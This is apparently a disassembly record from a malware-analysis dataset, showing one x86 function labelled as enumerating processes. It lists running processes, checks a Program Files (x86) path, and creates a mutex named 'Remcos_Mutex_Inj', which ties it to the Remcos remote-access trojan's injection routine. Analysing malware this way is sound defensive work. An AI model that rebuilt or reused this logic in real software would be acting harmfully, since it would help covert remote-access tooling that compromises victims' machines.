Function at 0x40d1ad
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
lea eax, [ebp - 0x4b0]
push ebx
push esi
push edi
push 0x104
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x4605a4
lea ecx, [ebp + 8]
call fcn.00407746
test al, al
jne 0x40d33e
lea ecx, [ebp - 0x1c]
call fcn.00401f4d
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 4], eax
push ecx
push eax
mov dword [ebp - 0x2a8], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x40d270
lea eax, [ebp - 0x284]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040425f
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
call fcn.004022ea
mov edi, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
call fcn.004022ad
mov esi, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x40]
push eax
call fcn.004022ea
push dword [edi]
lea ecx, [ebp - 0x44]
push dword [esi]
push dword [eax]
call fcn.00408228
add esp, 0xc
lea edx, [ebp + 8]
lea ecx, [ebp - 0x34]
call fcn.00409eae
test al, al
jne 0x40d2af
lea ecx, [ebp - 0x34]
call fcn.00401ed0
lea eax, [ebp - 0x2a8]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40d211
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x45f714
lea ecx, [ebp - 0x1c]
call fcn.00407746
lea ecx, [ebp - 0x1c]
test al, al
jne 0x40d339
call fcn.00401ed0
jmp 0x40d395
mov edx, dword [ebp - 0x2a0]
lea ecx, [ebp - 0x74]
call fcn.00416fd0
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401eda
lea ecx, [ebp - 0x74]
call fcn.00401ed0
lea edx, [ebp - 0x4b0]
lea ecx, [ebp - 0x1c]
call fcn.00407746
test al, al
je 0x40d2f5
lea ecx, [ebp - 0x34]
call fcn.00401ed0
lea ecx, [ebp - 0x1c]
call fcn.00401ed0
jmp 0x40d40d
mov edx, 0x45f714
lea ecx, [ebp - 0x1c]
call fcn.00407746
test al, al
jne 0x40d32e
mov ecx, dword [ebp - 0x2a0]
call fcn.00416f9a
test al, al
jne 0x40d32e
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp + 8]
call fcn.00409e58
lea ecx, [ebp - 0x34]
call fcn.00401ed0
jmp 0x40d284
lea ecx, [ebp - 0x34]
call fcn.00401ed0
lea ecx, [ebp - 0x1c]
call fcn.00401ed0
lea ecx, [ebp - 0x74]
call fcn.00416773
push eax
lea ecx, [ebp + 8]
call fcn.00401eda
lea ecx, [ebp - 0x74]
call fcn.00401ed0
call fcn.00416f6c
test al, al
je 0x40d383
push ecx
push 0x4605a8
lea ecx, [ebp + 8]
call fcn.0040d84f
cmp eax, 0xffffffff
je 0x40d383
push str.Program_Files__x86__
push 0xe
push eax
lea ecx, [ebp + 8]
call fcn.0040d870
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4b0]
call fcn.0040ee85
test al, al
jne 0x40d40d
push str.Remcos_Mutex_Inj
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x5c]
mov edi, eax
call fcn.004020b5
mov ecx, 0x46c500
call fcn.00401ecb
lea edx, [ebp - 0x5c]
mov ecx, eax
call fcn.00417334
lea ecx, [ebp - 0x5c]
call fcn.00401f75
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ecb
mov edx, esi
mov ecx, eax
call fcn.00413cca
test al, al
je 0x40d3fe
xor ebx, ebx
mov ecx, 0x46c518
inc ebx
push ebx
push 0x46040c
call fcn.00401f75
mov edx, eax
call fcn.004105a0
pop ecx
pop ecx
jmp 0x40d405
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x5c]
call fcn.00401fa7
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret